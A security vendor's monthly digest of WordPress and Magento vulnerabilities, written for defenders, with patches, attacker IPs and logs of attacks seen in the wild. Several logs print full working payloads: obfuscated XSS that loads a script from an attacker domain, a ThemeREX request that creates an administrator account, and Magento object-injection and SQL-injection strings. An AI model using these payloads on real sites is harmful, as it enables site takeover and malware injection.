Vulnerabilities Digest: April 2020

Sucuri Labs

Relevant Plugins and Vulnerabilities:

PluginVulnerabilityPatched VersionInstalls
Widget Settings Importer/ExporterStored XSSClosed40000
AccordionStored/Reflected XSS2.2.930000
Support Ticket System By PhoeniixxReflected XSSClosed2000
Gutenberg BlocksAuthenticated Settings Change1.14.8200000
WP Lead Plus XStored XSS0.9970000
OneToneStored XSSClosed20000
WP Advanced SearchSQL Injection3.3.61000
Easy Forms for MailchimpAuthenticated XSS6.6.3100000
CM Pop-Up bannersStored XSS1.4.1110000
Duplicate Page and PostSQL Injection2.5.850000
WP post page closeSQL InjectionClosed----

Highlights for April 2020

  • Developers are still falling short when sanitizing user input, leading to the exploitation of vulnerable third-party components.
  • Cross site scripting is still the most prevalent vulnerability. Bad actors are taking advantage of the lack of restrictions in critical functions and issues surrounding user input data sanitization.
  • Unprotected AJAX action bugs are still on the rise. Attackers aren’t hesitating to automate malicious injections for vulnerable plugins.
  • Access bypass bugs continue to be the most critical vulnerability.
  • We saw a spike in attempts to exploit old Magento vulnerabilities

Details for these highlights can be found under the components listed below.

WP-Advanced-Search

Developers fixed an unauthenticated SQL Injection in WP-Advanced-Search which was caused by an improper handling of user input data.

Public PoC:

GET /wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?q=admin&t=wp_autosuggest&f=[malicious payload] 

Patch (version 3.6):

Developers removed the “autocompletion-PHP5.5.php” file and added restrictions to multiple SQL queries.

--- a/wp-advanced-search.old/class.inc/autocompletion/autocompletion-PHP5.5.php
+++ /dev/null
@@ -1,58 +0,0 @@
-<?php
-if(isset($_GET['q']) && !empty($_GET['q'])) {
-       $query = htmlspecialchars(stripslashes($_GET['q']));
-
-       // Récupération à la volée des informations transmises par le script d'autocomplétion
-       $table   = htmlspecialchars($_GET['t']);
-       $field   = htmlspecialchars($_GET['f']);
-       $type    = htmlspecialchars($_GET['type']);
-       $encode  = htmlspecialchars($_GET['e']);
[...]
-    // Requête de recherche dans l'index inversé (base de mots clés auto-générés)
-    // $requeteSQL = "SELECT DISTINCT ".$field." FROM ".$table." WHERE ".$field." LIKE '".$arg.$link->real_escape_string($query)."%' ORDER BY ".$field." ASC, idindex DESC LIMIT 0 , ".$limitS."";
-    $requeteSQL = "SELECT ".$field." FROM ".$table." WHERE ".$field." LIKE '".$arg.$link->real_escape_string($query)."%' ORDER BY ".$field." ASC, idindex DESC";

Support Ticket System By Phoeniixx

The plugin Support Ticket System By Phoeniixx was closed due to lack of maintenance, but existing users are still impacted by a reflected Cross Site Scripting vulnerability.

Public PoC:

GET  site.com/?view_id=[malicious payload] 

Vulnerable Code:

<script>

var newurl      = '<?php echo admin_url('admin-ajax.php') ;?>';                       
var get_val = '<?php echo (!empty($_GET['view_id']))?$_GET['view_id']:""; ?>';

</script>

Plugin & Theme Payloads Added to Ongoing Campaign

The Popup builder plugin allows site owners to easily create promotion popups. This past month, versions < 3.64 were affected by an unauthenticated stored XSS and attackers are still using it to infect thousands of sites.

Malicious domains injected this month

slow[.]destinyfernandi[.]com
ws[.]stivenfernando[.]com
stat[.]trackstatisticsss[.]com

Exploit Attempts Seen in the Wild

This past month, our team identified attacks against the following vulnerable plugins and themes.

OneTone theme (closed)
164.132.194.160 -- POST -- /wp-admin/admin-ajax.php -- action=onetone_options_import&options=%7B%22header_social_icons%22%3A%5B%5D%2C%22page_title_bar_background1%22%3A%7B%22background-color%22%3A%22%22%2C%22background[...]2C%22top_bar_info_content%22%3A%22%22%2C%22copyright%22%3A%22%3Cscript%3Eeval(String.fromCharCode(118,97,114,32,117,32,61,32,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,57,44,49,49,53,44,52,54,44,49,49,53,44,49,49,54,44,49,48,53,44,49,49,56,44,49,48,49,44,49,49,48,44,49,48,50,44,49,48,49,44,49,49,52,44,49,49,48,44,57,55,44,49,49,48,44,49,48,48,44,49,49,49,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,49,53,44,49,49,54,44,49,48,57,44,54,51,44,49,49,56,44,54,49,44,49,49,57,44,57,55,44,52,57,44,52,54,44,53,51,44,52,54,44,53,54,41,59,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,32,115,46,116,121,112,101,61,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,54,44,49,48,49,44,49,50,48,44,49,49,54,44,52,55,44,49,48,54,44,57,55,44,49,49,56,44,57,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,59,32,118,97,114,32,112,108,32,61,32,117,59,32,115,46,115,114,99,61,112,108,59,32,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,48,52,44,49,48,49,44,57,55,44,49,48,48,41,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,118,97,114,32,108,105,115,116,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,41,41,59,108,105,115,116,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,108,105,115,116,46,99,104,105,108,100,78,111,100,101,115,91,48,93,41,59,125))%3B%3C%5C%2Fscript%3E%22%7D -- 2020-04-27
Popup Builder
185.212.128.162 -- POST -- /wp-admin/admin-ajax.php -- action=sgpb_autosave&allPopupData[...]%27on%27+%2B+eventName%2C+fn%29%3B%7D&allPopupData%5B92%5D%5Bname%5D=sgpb-WillOpen&allPopupData%5B92%5D%5Bvalue%5D=var+u+%3D+String.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C115%2C46%2C115%2C116%2C105%2C118%2C101%2C110%2C102%2C101%2C114%2C110%2C97%2C110%2C100%2C111%2C46%2C99%2C111%2C109%2C47%2C115%2C116%2C109%2C63%2C118%2C61%2C46%2C49%2C119%2C115%2C51%2C46%2C49%2C46%2C56%2C46%2C49%2C46%2C49%29%3Bvar+d%3Ddocument%3Bvar+s%3Dd.createElement%28String.fromCharCode%28115%2C99%2C114%2C105%2C112%2C116%29%29%3B+s.type%3DString.fromCharCode%28116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%29%3B+var+pl+%3D+u%3B+s.src%3Dpl%3B+if+%28document.currentScript%29+%7B+document.currentScript.parentNode.insertBefore%28s%2C+document.currentScript%29%3B%7D+else+%7Bd.getElementsByTagName%28String.fromCharCode%28104%2C101%2C97%2C100%29%29%5B0%5D.appendChild%28s%29%3Bvar+list+%3D+document.getElementsByTagName%28String.fromCharCode%28115%2C99%2C114%2C105%2C112%2C116%29%29%3Blist.insertBefore%28s%2C+list.childNodes%5B0%5D%29%3B%7D&allPopupData%5B93%5D%5Bname%5D=sgpb-DidOpen&allPopupData%5B93%5D%5Bvalue%5D=+&allPopupData%5B94%5D%5Bname%5D=sgpb-ShouldClose&allPopupData%5B94%5D%5Bvalue%5D=var+u+%3D+String.fromCharCode%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C115%2C46%2C115%2C116%2C105%2C118%2C101%2C110%2C102%2C101%2C114%2C110%2C97%2C110%2C100%2C111%2C46%2C99%2C111%2C109%2C47%2C115%2C116%2C109%2C63%2C118%2C61%2C46%2C49%2C119%2C115%2C51%2C46%2C49%2C46%2C56%2C46%2C49%2C46%2C49%29%3Bvar+d%3Ddocument%3Bvar+s%3Dd.createElement%28String.fromCharCode%28115%2C99%2C114%2C105%2C112%2C116%29%29%3B+s.type%3DString.fromCharCode%28116%2C101%2C120%2C116%2C47%2C106%2C97%2C118%2C97%2C115%2C99%2C114%2C105%2C112%2C116%29%3B+var+pl+%3D+u%3B+s.src%3Dpl%3B+if+%28document.currentScript%29+%7B+document.currentScript.parentNode.insertBefore%28s%2C+document.currentScript%29%3B%7D+else+%7Bd.getElementsByTagName%28String.fromCharCode%28104%2C101%2C97%2C100%29%29%5B0%5D.appendChild%28s%29%3Bvar+list+%3D+d[...]sgpb-css-editor&allPopupData%5B97%5D%5Bvalue%5D= 

Many other plugins are still under attack. Please check our previous lab notes for more information.

Detected IPs
185.212.128.162
164.132.194.160
188.166.16.17
66.228.44.215
173.249.6.22
54.39.10.60
5.196.207.195
84.238.108.177
109.96.171.178
92.119.185.126

ThemeREX Addons

Back in February, we shared information about a critical vulnerability in ThemeREX Addons that was disclosed to the public and later on massively exploited by attackers.

Here is the full working exploit that attackers are using to compromise vulnerable sites.

195.154.177.210 -- post -- /wp-json/trx_addons/v2/get/sc_layout?sc=wp_insert_user&role=administrator&user_login=ndvtzaifnz&user_pass=6Wlh6SA0RT -- - -- 2020-04-04
Detected IPs
195.154.177.210
5.135.143.224
84.238.108.177
109.96.171.178
92.119.185.126
82.77.172.62
82.78.189.130

Old Magento Versions Still Exploited

Unpatched Magento sites will be always targeted by attackers and that’s why we encourage users to implement all security patches in a timely manner. Multiple vulnerabilities were fixed two years ago and attackers are still taking advantage of them.

We've listed some of the exploits attackers are using to compromise vulnerable sites below.

Magento Made Cache - Object Injection

154.9.169.173 -- GET -- http://site.com/madecache/varnish/esi/?misc=YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjE2OiJleGl0KCJNYVphWWFOYSIpIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ== -- - -- 2020-04-15

Magento Magecart - Object Injection

23.229.39.178 -- POST -- /freegift/cart/gurlgift -- data=YTozOntzOjc6InByb2R1Y3QiO3M6MToiMSI7czo2OiJvcHRpb24iO3M6MToiMSI7czoxOiJ4IjtPOjg6IlplbmRfTG9nIjoxOntzOjExOiIAKgBfd3JpdGVycyI7YToxOntpOjA7TzoyMDoiWmVuZF9Mb2dfV3JpdGVyX01haWwiOjU6e3M6MTY6IgAqAF9ldmVudHNUb01haWwiO2E6MTp7aTowO2k6MTt9czoyMjoiACoAX2xheW91dEV2ZW50c1RvTWFpbCI7YTowOnt9czo4OiIAKgBfbWFpbCI7Tzo5OiJaZW5kX01haWwiOjA6e31zOjEwOiIAKgBfbGF5b3V0IjtPOjExOiJaZW5kX0xheW91dCI6Mzp7czoxMzoiACoAX2luZmxlY3RvciI7TzoyMzoiWmVuZF9GaWx0ZXJfUHJlZ1JlcGxhY2UiOjI6e3M6MTY6IgAqAF9tYXRjaFBhdHRlcm4iO3M6NzoiLyguKikvZSI7czoxNToiACoAX3JlcGxhY2VtZW50IjtzOjE2OiJleGl0KCJNYVphWWFOYSIpIjt9czoyMDoiACoAX2luZmxlY3RvckVuYWJsZWQiO2I6MTtzOjEwOiIAKgBfbGF5b3V0IjtzOjY6ImxheW91dCI7fXM6MjI6IgAqAF9zdWJqZWN0UHJlcGVuZFRleHQiO047fX19fQ== -- 2020-04-14

Magento Core - SQL Injection

45.11.24.151 -- GET -- /catalog/product_frontend_action/synchronize?ids%5B0%5D%5Badded_at%5D=&type_id=recently_products&ids%5B0%5D%5Bproduct_id%5D%5Bto%5D=%29%29%29+OR+%28SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+123%3D123%29+--+-&ids%5B0%5D%5Bproduct_id%5D%5Bfrom%5D=%3F -- - -- 2020-04-26

Public exploits already exist for all of the components listed above. We strongly encourage you to keep your software up to date to prevent infection and mitigate risk to your environment. Websites behind the Sucuri Firewall are protected against these exploits.